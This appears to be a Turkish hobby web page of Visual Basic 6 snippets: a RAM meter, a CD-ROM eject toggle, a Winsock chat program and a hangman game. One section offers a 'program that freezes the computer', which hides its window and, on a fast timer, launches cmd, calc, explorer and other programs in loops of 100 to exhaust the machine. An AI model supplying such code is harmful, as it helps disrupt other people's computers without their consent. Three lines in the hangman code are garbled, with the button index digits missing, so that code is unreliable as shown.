Navigasyon |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Ram ölçer:
Private Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Private Sub Form_load()
Timer1.Interval = 1000
End Sub
Private Sub Timer1_Timer()
Cls
Dim m As MEMORYSTATUS
GlobalMemoryStatus m
Print "Bellek Kullanımı %:", m.dwMemoryLoad
Print "Toplam RAM:", , m.dwTotalPhys / 1024 / 1024 & " MB"
Print "Boş RAM:", , m.dwAvailPhys / 1024 / 1024 & "MB"
End Sub
|
|
Bilgisayarı kasan bir program yapalım ne dersiniz:
yapacağınız basit form a bi tane timer ekliyoruz interval özelliğini 100 yapiyoruz
Kodları yapıştırıyoruz.
Private Sub Form_Load()
Form1.Visible = False
End Sub
Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:Program FilesMessengermsmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:Program FilesMovie Makermoviemk.exe"
Shell "winmine"
Next
End Sub
|
Cd-Rom aç kapat:
Kodları burada iki buton ekleyin tamamdır
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub
Private Sub Command2_Click()
mciExecute ("Set CDAudio door closed")
End Sub
|
|
Vb ile chat programı:
Kodları kopyalayıp kod alanına yapıştırın gerekli butonları koyun tamamdır (((((
Option Explicit
Private Sub Command1_Click()
If Winsock1.State = 7 Then
Winsock1.SendData Text3.Text & " >> " & Text2.Text
Text1.Text = Text1.Text & Text3.Text & " >> " & Text2.Text & Chr(13) & Chr(10)
Text2.Text = ""
End If
End Sub
Private Sub Command2_Click()
If Winsock1.State = 2 Then
Command2.Caption = "Bağlan"
Else
Winsock1.RemoteHost = Text4.Text
Winsock1.RemotePort = 12345
Winsock1.Connect
Command2.Caption = "Bağlantıyı Kes"
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 2 Then
Winsock1.Close
Command3.Caption = "Server KUR"
Command2.Enabled = True
Text3.Enabled = True
Text4.Enabled = True
Text2.Enabled = False
Command1.Enabled = False
Else
Winsock1.LocalPort = 12345
Winsock1.Listen
Command3.Caption = "Bağlantıyı Kes"
Command2.Enabled = False
Text3.Enabled = False
Text4.Enabled = False
End If
End Sub
Private Sub Form_Load()
Text1.ForeColor = vbRed
Text1.FontBold = True
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Text2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Command1_Click
End If
End Sub
Private Sub winsock1_connectionrequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
Label4.Caption = "Bir bağlantı isteği geldi!"
Text2.Enabled = True
Command1.Enabled = True
End Sub
Private Sub winsock1_close()
Label4.Caption = "Bağlantı Kesildi!"
Command3.Caption = "Server KUR"
Command2.Enabled = True
Text3.Enabled = True
Text4.Enabled = True
Text2.Enabled = False
Command1.Enabled = False
End Sub
Private Sub winsock1_connect()
Label4.Caption = "Bağlantı Sağlandı!"
Text2.Enabled = True
Command1.Enabled = True
Text3.Enabled = False
Text4.Enabled = False
Command3.Enabled = False
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim gelen As String
Winsock1.GetData gelen
Text1.Text = Text1.Text & gelen & Chr(13) & Chr(10)
End Sub
Private Sub winsock1_error(ByVal number As Integer, description As String, ByVal scode As Long, ByVal source As String, ByVal helpfile As String, ByVal helpcontext As Long, canceldisplay As Boolean)
Label4.Caption = "Hata Oluştu! Oluşan HATA : " & description
Command3.Caption = "Server KUR"
Command2.Enabled = True
Text3.Enabled = True
Text4.Enabled = True
Text2.Enabled = False
Command1.Enabled = False
End Sub |
Vb ile Adam asmaca:
program agerekli butonları koyduktan sonra kodları direk yapıştırın koslarda hizalama da ayarlı olduğu için sorun yaşamazsınınz:
Dim kelime(100), gorunen(100), kelime2, adam
Private Sub buton_Click(Index As Integer)
Dim say, k, sonuc, a
sonuc = 0
'butondaki harf varmı?
For say = 0 To Len(kelime2) - 1
If kelime(say) = buton(Index).Caption Then
gorunen(say) = " " & buton(Index).Caption & " "
sonuc = 1
'varsa onayla
End If
Next
For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k
If sonuc = 0 Then
adam = Val(adam) + 1
adamiciz (adam)
'kullanıcı yanlış harfe tıkladıysa adamı çiz
Else
'kullanıcı doğru harfe tıkladıysa
'oyunu bitirip bitirmediğini kontrol et
a = InStr(1, Label1, "_")
If a = 0 Then
For say = 0 To 28
buton(say).Enabled = False
Next
MsgBox "Tebrikler! Kazandınız...", vbInformation, "Bitti"
End If
End If
'butonu pasif yap
buton(Index).Enabled = False
End Sub
Private Sub Command1_Click()
Dim say, harf, r
'yeni oyun için rasgele kelime seçiyoruz
Randomize
r = Int(Rnd * (List1.ListCount - 1))
kelime2 = List1.List(r)
Label1 = ""
'butonları aktif yap
For say = 0 To 28
buton(say).Enabled = True
Next
'Adamı sil
adam = 0
Line1.Visible = False
Line2.Visible = False
Line3.Visible = False
Line4.Visible = False
Shape1.Visible = False
Line5.Visible = False
Line6.Visible = False
Line7.Visible = False
Line8.Visible = False
Line9.Visible = False
'değişkenleri sıfırla
For say = 0 To 100
kelime(say) = ""
gorunen(say) = " _ "
Next
'değişkelnlere kelimeyi harf harf ata
For say = 0 To Len(kelime2) - 1
harf = Mid(kelime2, say + 1, 1)
kelime(say) = kelime(say) & harf
Label1 = Label1 & " _ "
Next
'*****************
'boşluk varmı?
For say = 0 To Len(kelime2) - 1
If kelime(say) = " " Then
gorunen(say) = " " & " " & " "
End If
Next
For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k
End Sub
Private Sub Command2_Click()
'çıkış
Unload Me
End Sub
Private Sub Form_Load()
'Nesneler yerlestirliyor....
Form1.Caption = "Adam Asmaca V1.0 - OKTAYYAZILIM"
Form1.Width = 7755
Form1.Height = 4605
List1.Visible = False
buton(0).Left = 120
buton(0).Top = 120
buton(0).Height = 375
buton(0).Width = 255
buton(0).FontBold = True
buton(0).Enabled = False
Label1.FontBold = True
Label1.FontSize = 10
Label1.Alignment = 2
Label1.Left = 120
Label1.Top = 840
Label1.Width = 7335
Label1.Height = 735
Label1 = ""
Command1.Left = 240
Command1.Top = 1920
Command1.Width = 2775
Command1.Height = 735
Command1.Caption = "Yeni Oyun"
Command2.Left = 240
Command2.Top = 2880
Command2.Width = 2775
Command2.Height = 735
Command2.Caption = "Çıkış"
Shape1.Shape = 3
Shape1.Left = 5520
Shape1.Top = 2040
Shape1.BorderWidth = 3
Shape1.Visible = False
Line1.BorderWidth = 4
Line1.Visible = False
Line1.X1 = 6360
Line1.X2 = 7320
Line1.Y1 = 4080
Line1.Y2 = 4080
Line2.BorderWidth = 4
Line2.Visible = False
Line2.X1 = 6840
Line2.X2 = 6840
Line2.Y1 = 1800
Line2.Y2 = 4080
Line3.BorderWidth = 4
Line3.Visible = False
Line3.X1 = 6840
Line3.X2 = 5760
Line3.Y1 = 1800
Line3.Y2 = 1800
Line4.BorderWidth = 4
Line4.Visible = False
Line4.X1 = 5760
Line4.X2 = 5760
Line4.Y1 = 1800
Line4.Y2 = 2040
Line5.BorderWidth = 4
Line5.Visible = False
Line5.X1 = 5760
Line5.X2 = 5760
Line5.Y1 = 2400
Line5.Y2 = 3240
Line6.BorderWidth = 4
Line6.Visible = False
Line6.X1 = 5760
Line6.X2 = 5280
Line6.Y1 = 2520
Line6.Y2 = 2760
Line7.BorderWidth = 4
Line7.Visible = False
Line7.X1 = 5760
Line7.X2 = 6240
Line7.Y1 = 2520
Line7.Y2 = 2760
Line8.BorderWidth = 4
Line8.Visible = False
Line8.X1 = 5760
Line8.X2 = 5400
Line8.Y1 = 3240
Line8.Y2 = 3600
Line9.BorderWidth = 4
Line9.Visible = False
Line9.X1 = 5760
Line9.X2 = 6240
Line9.Y1 = 3240
Line9.Y2 = 3600
'butonlar kopyalanıyor...
Dim say
For say = 1 To 28
Load buton(say)
buton(say).Visible = True
buton(say).Left = buton(say - 1).Left + 255
buton(say).Enabled = False
Next
'Türkçe alfabe için harfleri tek tek yerleştiriyoruz
buton(0).Caption = "A"
buton(1).Caption = "B"
buton(2).Caption = "C"
buton(3).Caption = "Ç"
buton(4).Caption = "D"
buton(5).Caption = "E"
buton(6).Caption = "F"
buton(7).Caption = "G"
buton( .Caption = "Ğ"
buton(9).Caption = "H"
buton(10).Caption = "I"
buton(11).Caption = "İ"
buton(12).Caption = "J"
buton(13).Caption = "K"
buton(14).Caption = "L"
buton(15).Caption = "M"
buton(16).Caption = "N"
buton(17).Caption = "O"
buton(1 .Caption = "Ö"
buton(19).Caption = "P"
buton(20).Caption = "R"
buton(21).Caption = "S"
buton(22).Caption = "Ş"
buton(23).Caption = "T"
buton(24).Caption = "U"
buton(25).Caption = "Ü"
buton(26).Caption = "V"
buton(27).Caption = "Y"
buton(2 .Caption = "Z"
' aşağıdaki kelime ve cümleler örnek amaçlı eklenmiştir
'siz kelime.txt dosyası oluşturun ve kelimeleri onun içine yazın.
List1.AddItem "YAZILIM"
List1.AddItem "DONANIM"
List1.AddItem "ANAKART"
List1.AddItem "MODEM"
List1.AddItem "KLAVYE"
List1.AddItem "FARE"
List1.AddItem "VISUAL BASIC"
List1.AddItem "OKTAYYAZILIM"
List1.AddItem "UÇAK"
List1.AddItem "GEMİ"
List1.AddItem "ARABA"
List1.AddItem "TREN"
List1.AddItem "TÜRKİYE"
List1.AddItem "ANKARA"
List1.AddItem "İSTANBUL"
List1.AddItem "İZMİR"
List1.AddItem "HAYATTA EN HAKİKİ MÜRŞİT İLİMDİR"
List1.AddItem "YAŞASIN CUMHURİYET"
List1.AddItem "YA İSTİKLAL YA ÖLÜM"
List1.AddItem "KİTAP OKUMAYAN İNSANLAR DÜŞÜNEMEZLER"
'kelime.txt dosyasından kelimeleri okuyoruz
'kelime eklemek için dosyayı açın ve kelimeyi büyük harfle
'tırnak içinde alt alta yazın kelimede yabancı
'harfler olmamalı cumlede eklenebilir
Dim dosya, okunan
dosya = App.Path & "kelime.txt"
If Dir(dosya) <> "" Then
Open (dosya) For Input As #1
While Not EOF(1)
Input #1, okunan
List1.AddItem okunan
Wend
Close #1
End If
End Sub
Private Sub adamiciz(sayi As Integer)
'adamı çiz
Select Case sayi
Case 1: Line1.Visible = True
Case 2: Line2.Visible = True
Case 3: Line3.Visible = True
Case 4: Line4.Visible = True
Case 5: Shape1.Visible = True
Case 6: Line5.Visible = True
Case 7: Line6.Visible = True
Case 8: Line7.Visible = True
Case 9: Line8.Visible = True
Case 10:
Line9.Visible = True
'adam tamamen çizildiyse oyunu bitir
Dim say
For say = 0 To 28
buton(say).Enabled = False
Next
Label1 = ""
For say = 0 To Len(kelime2)
Label1 = Label1 & " " & kelime(say) & " "
Next
MsgBox "Kaybettiniz...", vbExclamation, "Bitti"
End Select
End Sub 
|
|
|
|
|
|
|
|
|
|
Bugün 5 ziyaretçi (7 klik) kişi burdaydı! |
|
|
|
|
|
|
|